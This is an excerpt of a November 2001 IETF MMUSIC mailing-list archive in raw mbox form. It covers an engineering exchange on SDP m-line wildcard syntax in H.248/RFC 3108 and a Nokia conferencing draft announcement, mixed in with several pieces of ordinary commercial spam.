	boundary="=====================_1814772264==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_1814772264==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

David,
This was discussed. In Hh248, one need not view the SDP returned by a media 
gateway as a verbatim response to the SDP in the add command. When the 
media gateway indicates
         m=audio $ $ $
it means, among other things, that it has chosen to not specify the 
transport and format list. In response, the media gateway may return one or 
more transport/format list pairs.

Similarly, even if the the media gateway controller indicates m=audio $ $ $ 
$ $,  the media gateway would be right in returning a single 
transport/format list pair.

Since the local descriptor provided by MGC is not necessarily a template 
for the MG to fill in, there is no need for the media gateway to send 
m=audio $ $ $ $ $ or m=audio $ $ $ $ $ $ $ etc., even though they are 
syntactically valid. We recommend that it use '$ $'  to indicate that is it 
nor specifying one or more transport/format list pairs.

Does this sound reasonable?

Rajesh

At 02:06 PM 11/6/2001 +0000, you wrote:

>Hello,
>
>I am sending this email to you because you are the authors of 
>RFC-3108.  There may be a problem with the syntax of the media ("m=") 
>line, and I'd appreciate your opinion.
>
>In RFC-3108, the SDP media line has the form:
>
>m=<media> <virtualConnId> <transport#1> <formatlist#1> <transport#2> 
><formatlist#2> ... <transport#M> <formatlist#M>
>
>Now for AAL2, <transport#X> may be: "AAL2/ATMF", "AAL2/ITU", 
>"AAL2/custom", "AAL2/<corporateName>, or "AAL2/IEEE:<oui>".  I.e. there is 
>potentially an infinite number of <transport#X> types.
>
>In H.248, the MGC will often provide a SDP (Local descriptor) in an Add 
>command.  Many of the fields are specified as "$" to allow the MG to 
>select the value.  This may include the transport and formatlist parameters.
>
>If the MGC wants to leave the MG to select the AAL2 profiles in the Add 
>command, what would it specify?
>m=audio $ $ $
>OR
>m=audio $ $ $ $ $
>OR
>m=audio $ $ $ $ $ $ $
>OR ... etc, etc.
>
>Since, in theory, a MG may return multiple <transport#X> types, and the 
>MGC does not know how many, then how many "$ $" pairs should the MGC put 
>in the request?
>
>What is the correct syntax for this case?
>
>Thanks,
>David Barr
>Nortel Networks


--- Rajesh
---------------
Rajesh Kumar
Cisco Systems



--=====================_1814772264==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
David,<br>
This was discussed. In Hh248, one need not view the SDP returned by a
media gateway as a verbatim response to the SDP in the add command. When
the media gateway indicates <br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><font size=2>m=audio
$ $ $ <br>
it means, among other things, that it has chosen to not specify the
transport and format list. In response, the media gateway may return one
or more transport/format list pairs.<br>
<br>
</font>Similarly, even if the the media gateway controller indicates
<font size=2>m=audio $ $ $ $ $,&nbsp; the media gateway would be right in
returning a single transport/format list pair. <br>
<br>
</font>Since the local descriptor provided by MGC is not necessarily a
template for the MG to fill in, there is no need for the media gateway to
send <font size=2>m=audio $ $ $ $ $ or m=audio $ $ $ $ $ $ $ etc., even
though they are syntactically valid. We recommend that it use '$ $'&nbsp;
to indicate that is it nor specifying one or more transport/format list
pairs.<br>
<br>
</font>Does this sound reasonable?<br>
<br>
Rajesh<br>
<br>
At 02:06 PM 11/6/2001 +0000, you wrote:<br>
<br>
<blockquote type=cite cite><font face="Arial, Helvetica" size=2>Hello,</font>
<br>
<br>
<font face="Arial, Helvetica" size=2>I am sending this email to you because you are the authors of RFC-3108.&nbsp; There may be a problem with the syntax of the media (&quot;m=&quot;) line, and I'd appreciate your opinion.<br>
</font><br>
<font face="Arial, Helvetica" size=2>In RFC-3108, the SDP media line has the form:</font> <br>
<br>
<font face="Arial, Helvetica" size=2>m=&lt;media&gt; &lt;virtualConnId&gt; &lt;transport#1&gt; &lt;formatlist#1&gt; &lt;transport#2&gt; &lt;formatlist#2&gt; ... &lt;transport#M&gt; &lt;formatlist#M&gt; <br>
</font><br>
<font face="Arial, Helvetica" size=2>Now for AAL2, &lt;transport#X&gt; may be: &quot;AAL2/ATMF&quot;, &quot;AAL2/ITU&quot;, &quot;AAL2/custom&quot;, &quot;AAL2/&lt;corporateName&gt;, or &quot;AAL2/IEEE:&lt;oui&gt;&quot;.&nbsp; I.e. there is potentially an infinite number of &lt;transport#X&gt; types.<br>
</font><br>
<font face="Arial, Helvetica" size=2>In H.248, the MGC will often provide a SDP (Local descriptor) in an Add command.&nbsp; Many of the fields are specified as &quot;$&quot; to allow the MG to select the value.&nbsp; This may include the transport and formatlist parameters.<br>
</font><br>
<font face="Arial, Helvetica" size=2>If the MGC wants to leave the MG to select the AAL2 profiles in the Add command, what would it specify? </font><br>
<font face="Arial, Helvetica" size=2>m=audio $ $ $ </font><br>
<font face="Arial, Helvetica" size=2>OR </font><br>
<font face="Arial, Helvetica" size=2>m=audio $ $ $ $ $ </font><br>
<font face="Arial, Helvetica" size=2>OR </font><br>
<font face="Arial, Helvetica" size=2>m=audio $ $ $ $ $ $ $&nbsp; </font><br>
<font face="Arial, Helvetica" size=2>OR ... etc, etc. <br>
</font><br>
<font face="Arial, Helvetica" size=2>Since, in theory, a MG may return multiple &lt;transport#X&gt; types, and the MGC does not know how many, then how many &quot;$ $&quot; pairs should the MGC put in the request?<br>
</font><br>
<font face="Arial, Helvetica" size=2>What is the correct syntax for this case? <br>
</font><br>
<font face="Arial, Helvetica" size=2>Thanks,</font> <br>
<font face="Arial, Helvetica" size=2>David Barr</font> <br>
<font face="Arial, Helvetica" size=2>Nortel Networks</font> </blockquote><br>

<font size=2><br>
--- Rajesh<br>
---------------<br>
Rajesh Kumar<br>
Cisco Systems<br>
<br>
<br>
</font></html>

--=====================_1814772264==_.ALT--


From confctrl-owner  Thu Nov  8 10:04:28 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id KAA25348
	for confctrl-outgoing; Thu, 8 Nov 2001 10:04:28 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA25343
	for <confctrl@zephyr.isi.edu>; Thu, 8 Nov 2001 10:04:27 -0800 (PST)
Received: from localhost.localdomain ([61.145.233.187])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fA8I4wg14254
	for <confctrl@isi.edu>; Thu, 8 Nov 2001 10:04:58 -0800 (PST)
Received: (qmail 15234 invoked by uid 99); 8 Nov 2001 16:25:45 -0000
Date: 8 Nov 2001 16:25:45 -0000
Message-ID: <20011108162545.15233.qmail@localhost.localdomain>
To: confctrl@ISI.EDU
Subject: »ú²»¿Éʧ--½ô¼±ÇÀ×¢.info .biz
From: "Today's NetWork" <market@now.net.cn>
Reply-To: market@now.net.cn
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


»ú²»¿Éʧ--½ô¼±ÇÀ×¢.info .biz 
×÷ΪÐÅϢʱ´ú×îÃ÷È·±êÖ¾,.INFO .BIZµÄ·¢Õ¹¿Õ¼äÎãÓ¹¶à˵£¬Ëü½«³ÉΪÍøÂçÐÅÏ¢·þÎñµÄÊ×Ñ¡ÓòÃû¡£ 
.INFO .BIZΪͨÓö¥¼¶ÓòÃû£¬.INFO .BIZ´ú±íÒ»°ãµÄÐÅÏ¢·þÎñʹÓúÍÉÌÒµ¡£Ëü×î´óµÄÌصãÊÇÈ«Çò 
ͨÓÃ,Ò×ÓÚʹÓ㬺ÜÇ¿µÄʶ±ðÐÔ£¬¿ÉÒÔÌæ´ú.COMµÄͨÓö¥¼¶ÓòÃû£¬·Ç³£ÊÊÓÃÓÚÌṩÐÅÏ¢·þÎñµÄÆóÒµ¡£ 

ʱ´´ÍøÂç(http://www.now.net.cn)ÕýʽÍƳö.info .bizÓòÃûÕýʽע²á£¬×¢²áÁ÷³Ìͬ¹ú¼ÊÓòÃû 
£¨.com/.net/.org£©Ò»Ñù¼òµ¥£¬²¢¿É¿ìËٳɹ¦£¬×¢²á³É¹¦ºóÂíÉÏ¿ÉÒÔʹÓᣠ

(1) Ë­ÓÐ×ʸñÉêÇë.infoÓòÃû 
.infoÊÇΨһûÓÐ×¢²áÏÞÖƵÄ×îйú¼Ê¶¥¼¶ÓòÃû£¬ËùÒÔÈκÎÈ˶¼¿ÉÒÔÉêÇë 

(2) .infoÓòÃûÓë.ccºÍ.tv 
.infoÊÇͨÓùú¼Ê¶¥¼¶ÓòÃû£¬ËüÓë.com .net .org ÊôÓÚͬÀàÓòÃû£¬ÓÉICANNͳһ½øÐйÜÀí£» 
¶ø. cc,.tvÊǹú¼Ò´úÂë¹ú¼Ê¶¥¼¶ÓòÃû£¬ºÍ.cn .caÊôͬÀàÓòÃû£¬ .cnÕâÑùµÄÓòÃûÊǹéÏà¹ØµÄ 
¹ú¼Ò½øÐйÜÀíµÄ£¬Ò»°ãÖ»¶Ô±¾¹ú½øÐÐÏúÊÛ£¬Ö»Óзdz£ÌØÊâµÄ¾ßÓкܸßÉÌÒµ¼ÛÖµµÄÓòÃû²Å¶Ô¹ú¼Ê 
ÆäËü¹ú¼Ò½øÐÐÏúÊÛ¡£ 

(3) .infoÓòÃûµÄ×¢²á¼Û¸ñºÍÆÚÏÞÊÇʲô 
.infoÓòÃûÊÇ420Ôª/Á½Ä꣬¹ú¼ÊÓòÃû¹ÜÀí»ú¹¹¹æ¶¨ÐÂ×¢²á×îÉÙ×¢²á2Äê¡£ 

(4) ÎÒ¿ÉÒԺܿìµÄʹÓÃ.infoÓòÃûÂð 
ÎÒÃÇÈ·ÈÏÄú½»¿îºó»áÁ¢¼´ÎªÄúÕýʽע²á£¬²¢ÔÚ24СʱºóÈ«ÇòÉúЧ£¡ 

(5) ж¥¼¶¹ú¼ÊÓòÃûµÄ×¢²á¹æÔòºÍÒÔÍùµÄ¹ú¼ÊÓòÃû×¢²á¹æÔòÒ»ÑùÂ𣿠
´ð£ºÐ¶¥¼¶¹ú¼ÊÓòÃûµÄ×¢²á¹æÔòºÍÒÔÍùÏà±ÈÓкܴóµÄ²»Í¬£¬ÒÔÏ»áÓзÖÀà˵Ã÷£¬ÇëÄúÏêϸ¹Ø×¢¡£ 


(6)µ½ÄĶù¿ÉÉêÇëµ½.info×îйú¼Ê¶¥¼¶ 
´ð£ºwww.now.net.cnʱ´´ÍøÂçÊǹúÄÚ¹ú¼Ê¶¥¼¶ÓòÃû×¢²á»ú¹¹£¬¶ÀÓÐVDNSϵͳÄÜ·½±ãµØ¹ÜÀíÄúµÄ´Î¼¶ÓòÃû£¬½¨Á¢×ÓÍøÕ¾£¬ 
ÔÚ´Ë×¢²áÓòÃû¼Û¸ñ¿ÕÇ°ÓŻݣ¬ÁíÍâÎÒÃÇÅ䱸¾«Á¼¼¼ÊõÖ§³Ö£¬¿É°éÄúÇáËɲ½ÈëÉÌÎñÖ®Âᣠ


»¶Ó­ÄúÖÂÐÅ support@now.net.cn 
»¶Ó­Äú·ÃÎÊ http://www.now.net.cn 

Ö麣Ì컥¿Æ¼¼ÓÐÏÞ¹«Ë¾ 
ÁªÏµÈË£ºÇñС½ã¡¡»ÆС½ã 
¹«Ë¾µç»°£º 0756--2125583 2125593 2125523 2252872 
¹«Ë¾´«Õæ: 0756--2229669  

From confctrl-owner  Fri Nov  9 00:24:55 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA26769
	for confctrl-outgoing; Fri, 9 Nov 2001 00:24:55 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA26758
	for <confctrl@zephyr.isi.edu>; Fri, 9 Nov 2001 00:24:53 -0800 (PST)
Received: from hokkaidosakae.ed.jp (fortknox.hokkaidosakae.ed.jp [61.120.118.202])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA98PLg18066;
	Fri, 9 Nov 2001 00:25:21 -0800 (PST)
Received: from rmail2.hanmir.com (localhost [127.0.0.1])
	by hokkaidosakae.ed.jp (8.8.7/8.8.7) with SMTP id BAA26106;
	Fri, 9 Nov 2001 01:14:22 +0900 (GMT-9)
Date: Fri, 9 Nov 2001 01:14:22 +0900 (GMT-9)
From: "T.Reach@hanmir.com" <T.Reach@hanmir.com>
To: "1428@hotbot.com" <1428@hotbot.com>
Message-ID: <1005247384.0367966442@rmail2.hanmir.com>
Subject: Customer Care Center 
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML><HEAD><TITLE>Take Control Of Your Conference Calls</TITLE>
<META http-equiv=3DContent-Type content=3D=22text/html; charset=3Dwindows-1=
252=22>
<META content=3D=22MSHTML 5.50.4134.600=22 name=3DGENERATOR></HEAD>
<BODY vLink=3D=23c0c0c0 link=3D=23c0c0c0 bgColor=3D=23000000 leftMargin=3D0><F=
ONT 
face=3Darial,helvetica>
<P>
<CENTER>
<TABLE width=3D600 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><B><FONT color=3D=23999999 size=3D6>Long Distance 
      Conferencing<BR>Only <U>18 Cents</U> Per 
Minute</B></FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D=23ff0000 size=3D5><B>Connects Up To 100 Participants=21</=
B></FONT> 
<P>
<TABLE width=3D350 border=3D0>
  <TBODY>
  <TR>
    <TD><FONT color=3D=23999999 size=3D3><B>
      <LI>No setup fees 
      <LI>No contracts or monthly fees 
      <LI>Call anytime, from anywhere, to anywhere 
      <LI>International Dial In 18 cents per minute 
      <LI>Simplicity in set up and administration 
      <LI>Operator Help available 24/7 </B></FONT></LI></TD></TR></TBOD=
Y></TABLE>
<P>
<TABLE width=3D500 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D=23ff0000 size=3D60><B><FONT size=3D5>G=
et the best 
      quality, the easiest to use, and lowest rate in the 
      industry.</B></FONT></FONT></TD></TR></TBODY></TABLE>
<P>
<TABLE width=3D400 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D=23999999 size=3D4>If you like saving =
money, fill 
      out the form below and one of our consultants will contact 
  you.</FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D=23999999 size=3D2>Required Input Field<FONT color=3D=23ff0=
000 
size=3D2>*</FONT></FONT> 
<P>
<TABLE cellSpacing=3D0 borderColorDark=3D=23333300 cellPadding=3D3 width=3D6=
00 
borderColorLight=3D=23ffffcc>
  <TBODY>
  <TR>
    <TD align=3Dmiddle>
      <FORM action=3Dmailto:inbox_76=40yahoo.com  ?subject=3DConference_In=
quiry 
      method=3Dpost encType=3Dtext/plain>
      <TABLE width=3D=22100%=22>
        <TBODY>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 
          size=3D2>Name*</FONT></TD>
          <TD><INPUT name=3DNAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Web 
            Address*</FONT></TD>
          <TD><INPUT value=3Dhttp:// name=3DURL></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Company 
            Name*</FONT></TD>
          <TD><INPUT name=3DCOMPANY_NAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>
            State*</FONT></TD>
          <TD><INPUT size=3D2 name=3DSTATE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Business 
            Phone*</FONT></TD>
          <TD><INPUT name=3DBUS_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Home 
            Phone</FONT></TD>
          <TD><INPUT name=3DHOME_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Email 
            Address*</FONT></TD>
          <TD><INPUT name=3DEMAIL></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Type of 
            Business</FONT></TD>
          <TD><INPUT name=3DTYPE_OF_BUSINESS></TD></TR></TBODY></TABLE>
      <P><INPUT type=3Dsubmit value=3D=22Submit Information=22 name=3Dsubmit=
> 
    </FORM></P></TD></TR></TBODY></TABLE>
<P>
=9<P align=3Dcenter><FONT color=3D999999 face=3D=22Arial, Helvetica, sans-s=
erif=22 size=3D5>
=9This could be your ad=21</FONT></B><FONT face=3D=22Arial, Helvetica, san=
s-serif=22 size=3D2>
=9<BR><A href=3D=22mailto:marketing222=40yahoo.com?subject=3DDirect Marketi=
ng=22>
=9<FONT color=3Dff0000>Click here to e-mail us your contact info</A>.</F=
ONT></P>
<TABLE width=3D500>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT face=3D=22Arial, Helvetica, sans-serif=22 colo=
r=3D=23999999 
      size=3D1>This ad is being sent in compliance with Senate Bill 1618=
, Title 3, Section 301.
      You have recently visited our web site, referral or affiliate sit=
es which indicated you were 
      interested in communication services.  If this email is reaching =
you in error and you feel that you have not contacted 
      us, <FONT color=3D=23666666><A href=3D=22mailto:delete_99us=40yahoo.co=
m?subject=3DRemove_Conferencing=22>Click 
      here</A></FONT>. We sincerely apologize, and assure you will be r=
emoved from our distribution list.</FONT><BR></TD></TR></TBODY></TABLE><=
/P></CENTER></FONT></BODY></HTML>


From confctrl-owner  Fri Nov  9 07:00:39 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA10814
	for confctrl-outgoing; Fri, 9 Nov 2001 07:00:39 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA10809
	for <confctrl@zephyr.isi.edu>; Fri, 9 Nov 2001 07:00:37 -0800 (PST)
Received: from OEM ([61.82.97.107])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fA9F19g17202
	for <confctrl@isi.edu>; Fri, 9 Nov 2001 07:01:09 -0800 (PST)
Message-Id: <200111091501.fA9F19g17202@tnt.isi.edu>
From: =?ks_c_5601-1987?B?uc6/+LuhuK605cTE?= <gaja@minwon82.com>
To: confctrl@ISI.EDU
Subject: =?ks_c_5601-1987?B?uc6/+LuhuK605cTEIMDUtM+02Q==?=
Date: Fri, 09 Nov 2001 23:59:48 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0237_01C0F09A.93A59C00"
X-Priority: 3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0237_01C0F09A.93A59C00
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

aHR0cDovL21pbndvbjgyLmNvbQ0KY29uZmN0cmy01CC+yLPnx8+9yrTPse4/DQq5zr/4u6G4
rrTlxMQgv6G8rSDAzrvnILXluLO0z7TZLg0KwMyw97+hvK20wiC17rHius617rq7LCDF5MH2
tOvA5Swgwbm+98H1uO28rSwgsOa3wsH1uO28rSwgte4gDQqwosG+ILnOv/ggMzTBvsC7ILnZ
u9q9xSDH9rTrwM616cC7ILTrvcXHz7+pILnfsd6068fgILytuvG9uiDHz7DtIMDWvcC0z7TZ
Lg0KvcXDu8C7IMfPvcO46SDA1LHdIMiuwM7IxCAyvcOwoyDAzLO7v6EgxtG9urOqIMDMuN7A
z8C7IMDMv+sgv6229yCwobTJx8+45yC/+Lq7wMwgx8q/5MfPvcUgutDAuiC/7MbtwMyzqiDF
w7nouKYgwMy/6yC56LTetbUgx9ggteW4s7TPtNkuDQq4ucC6IMDMv+vAuyC52bb4tM+02S4N
CsfjtvSRQrTCILnmua4gv+u8rcfYIMHWvcq9w7/kLg0KsKHBpL+hIMfgv+7AzCC0wyDH1LKy
IMfPvcOx5iC52bb4tM+02S4uLg0KwMy43sDPIMPfw+Kx4rimIMDMv+vHz7+pILq7ILjewM/A
uw0Kw6PAuiDApbvnwMzGrrTCIGh0dHA6Ly9pbGFiLmFqb3UuYWMua3IvYmhyb2gvbGVjdHVy
ZS9tbV9jb21tL2xlY3Rfbm90ZS9yZWYvcmZjMjMyNy50eHQgwNS0z7TZLg0KPEEgSFJFRj1t
YWlsdG86eW91cmlkQHlvdXJtYWlsLmNvLmtyP3N1YmplY3Q9vPa9xbDFus4mYm9keT243sDP
vPa9xcC7sMW6zsfVtM+02T689r3FsMW6zjwvQT4gDQo=

------=_NextPart_000_0237_01C0F09A.93A59C00
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

PGh0bWw+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0
bWw7IGNoYXJzZXQ9ZXVjLWtyIj48Ym9keT48Zm9udCBmYWNlPSKxvLiyw7wiIHNpemU9Mj5o
dHRwOi8vbWlud29uODIuY29tPEJSPg0KY29uZmN0cmy01CZuYnNwO77Is+fHz73KtM+x7j88
QlI+DQq5zr/4u6G4rrTlxMQmbmJzcDu/obytJm5ic3A7wM675yZuYnNwO7XluLO0z7TZLjxC
Uj4NCsDMsPe/obyttMImbmJzcDu17rHius617rq7LCZuYnNwO8Xkwfa068DlLCZuYnNwO8G5
vvfB9bjtvK0sJm5ic3A7sOa3wsH1uO28rSwmbmJzcDu17iZuYnNwOzxCUj4NCrCiwb4mbmJz
cDu5zr/4Jm5ic3A7MzTBvsC7Jm5ic3A7udm72r3FJm5ic3A7x/a068DOtenAuyZuYnNwO7Tr
vcXHz7+pJm5ic3A7ud+x3rTrx+AmbmJzcDu8rbrxvbombmJzcDvHz7DtJm5ic3A7wNa9wLTP
tNkuPEJSPg0KvcXDu8C7Jm5ic3A7x8+9w7jpJm5ic3A7wNSx3SZuYnNwO8iuwM7IxCZuYnNw
OzK9w7CjJm5ic3A7wMyzu7+hJm5ic3A7xtG9urOqJm5ic3A7wMy43sDPwLsmbmJzcDvAzL/r
Jm5ic3A7v6229yZuYnNwO7ChtMnHz7jnJm5ic3A7v/i6u8DMJm5ic3A7x8q/5MfPvcUmbmJz
cDu60MC6Jm5ic3A7v+zG7cDMs6ombmJzcDvFw7nouKYmbmJzcDvAzL/rJm5ic3A7uei03rW1
Jm5ic3A7x9gmbmJzcDu15biztM+02S48QlI+DQq4ucC6Jm5ic3A7wMy/68C7Jm5ic3A7udm2
+LTPtNkuPEJSPg0Kx+O29JFCtMImbmJzcDu55rmuJm5ic3A7v+u8rcfYJm5ic3A7wda9yr3D
v+QuPEJSPg0KsKHBpL+hJm5ic3A7x+C/7sDMJm5ic3A7tMMmbmJzcDvH1LKyJm5ic3A7x8+9
w7HmJm5ic3A7udm2+LTPtNkuLi48QlI+DQrAzLjewM8mbmJzcDvD38PiseK4piZuYnNwO8DM
v+vHz7+pJm5ic3A7ursmbmJzcDu43sDPwLs8QlI+DQrDo8C6Jm5ic3A7wKW758DMxq60wiZu
YnNwO2h0dHA6Ly9pbGFiLmFqb3UuYWMua3IvYmhyb2gvbGVjdHVyZS9tbV9jb21tL2xlY3Rf
bm90ZS9yZWYvcmZjMjMyNy50eHQmbmJzcDvA1LTPtNkuPEJSPg0KJmx0O0EmbmJzcDtIUkVG
PW1haWx0bzp5b3VyaWRAeW91cm1haWwuY28ua3I/c3ViamVjdD289r3FsMW6ziZhbXA7Ym9k
eT243sDPvPa9xcC7sMW6zsfVtM+02SZndDu89r3FsMW6ziZsdDsvQSZndDsmbmJzcDs8QlI+
DQo8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4=

------=_NextPart_000_0237_01C0F09A.93A59C00--


From confctrl-owner  Fri Nov  9 08:23:42 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA13701
	for confctrl-outgoing; Fri, 9 Nov 2001 08:23:42 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA13696
	for <confctrl@zephyr.isi.edu>; Fri, 9 Nov 2001 08:23:41 -0800 (PST)
Received: from mgw-dax2.ext.nokia.com (mgw-dax2.ext.nokia.com [63.78.179.217])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA9GO3g13393;
	Fri, 9 Nov 2001 08:24:03 -0800 (PST)
Received: from davir04nok.americas.nokia.com (davir04nok.americas.nokia.com [172.18.242.87])
	by mgw-dax2.ext.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fA9GOiQ06505;
	Fri, 9 Nov 2001 10:24:44 -0600 (CST)
Received: from daebh002.NOE.Nokia.com (unverified) by davir04nok.americas.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T571d0b6610ac12f257079@davir04nok.americas.nokia.com>;
 Fri, 9 Nov 2001 10:24:01 -0600
Received: from bsebe001.NOE.Nokia.com ([172.19.160.13]) by daebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Fri, 9 Nov 2001 10:24:00 -0600
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
content-class: urn:content-classes:message
Subject: Draft Submission
Date: Fri, 9 Nov 2001 11:23:59 -0500
Message-ID: <DC504E9C3384054C8506D3E6BB01246008D526@bsebe001.NOE.Nokia.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Draft Submission
Thread-Index: AcFpOu8Jx4btzNUlEdWoAgACVQJbGw==
From: "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>
To: "Joerg Ott (E-mail)" <jo@tzi.org>
Cc: "Colin Perkins" <csp@ISI.EDU>, <flr-ctrl-grp@network2.cs.usm.my>,
        <eunah@etri.re.kr>, <vicomte@serome.co.kr>, <sgkang@etri.re.kr>,
        <robla@real.com>, <finlayson@live.com>, <luby@digitalfountain.com>,
        <jdrosen@dynamicsoft.com>, <reichert@fokus.gmd.de>,
        <sjkoh@pec.etri.re.kr>,
        "Koskelainen Petri (NRC/Tampere)" <petri.koskelainen@nokia.com>,
        "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>,
        "IETF MMUSIC WG" <confctrl@ISI.EDU>
X-OriginalArrivalTime: 09 Nov 2001 16:24:00.0616 (UTC) FILETIME=[F072CE80:01C1693A]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id IAA13697
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi all,

On Wednesday, I submitted the latest version of a problem statement
draft regarding 
conference course control to the IETF. This document can be found at
http://search.ietf.org/internet-drafts/draft-trossen-conferencing-proble
m-00.txt

and it is the result of a discussion among a set of people during the
last
months regarding problems and necessary efforts related to this topic.

I'd like to take the opportunity until and at the next IETF to discuss
how and to 
what extent to bring the issues in this document as efforts to the IETF.

As for the MMUSIC WG, it is not intended to bring this work back as an
item on
the charter of the WG, which is also agreed with the WG chairs. 
However, I'd like to use the expertise of the members of the list to
start the 
discussion whether and, if so, how to bring work regarding this topic to
the IETF.

So please feel free to provide comments regarding this document.

Best Regards,



Dirk Trossen
-----------------------
Dirk Trossen
Nokia Research Center
5 Wayside Road
Burlington, MA 01803
Tel: +1 (781) 993 3605
Fax: +1 (781) 993 1907
mob: +1 (617) 794 7041 
-----------------------

From confctrl-owner  Fri Nov  9 10:14:12 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA17575
	for confctrl-outgoing; Fri, 9 Nov 2001 10:14:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA17569
	for <confctrl@zephyr.isi.edu>; Fri, 9 Nov 2001 10:14:11 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA9IEfg07365;
	Fri, 9 Nov 2001 10:14:41 -0800 (PST)
Received: from cs.columbia.edu (metroliner.cs.columbia.edu [128.59.19.252])
	by opus.cs.columbia.edu (8.10.2+Sun/8.9.3) with ESMTP id fA9IELV13576;
	Fri, 9 Nov 2001 13:14:26 -0500 (EST)
Message-ID: <3BEC1CFD.F58585CA@cs.columbia.edu>
Date: Fri, 09 Nov 2001 13:14:21 -0500
From: "Henning G. Schulzrinne" <hgs@cs.columbia.edu>
Organization: Dept. of Computer Science, Columbia University
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.2.19-3cucs i686)
X-Accept-Language: en
MIME-Version: 1.0
To: "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>
CC: "Joerg Ott (E-mail)" <jo@tzi.org>, Colin Perkins <csp@ISI.EDU>,
        flr-ctrl-grp@network2.cs.usm.my, eunah@etri.re.kr,
        vicomte@serome.co.kr, sgkang@etri.re.kr, robla@real.com,
        finlayson@live.com, luby@digitalfountain.com, jdrosen@dynamicsoft.com,
        reichert@fokus.gmd.de, sjkoh@pec.etri.re.kr,
        "Koskelainen Petri (NRC/Tampere)" <petri.koskelainen@nokia.com>,
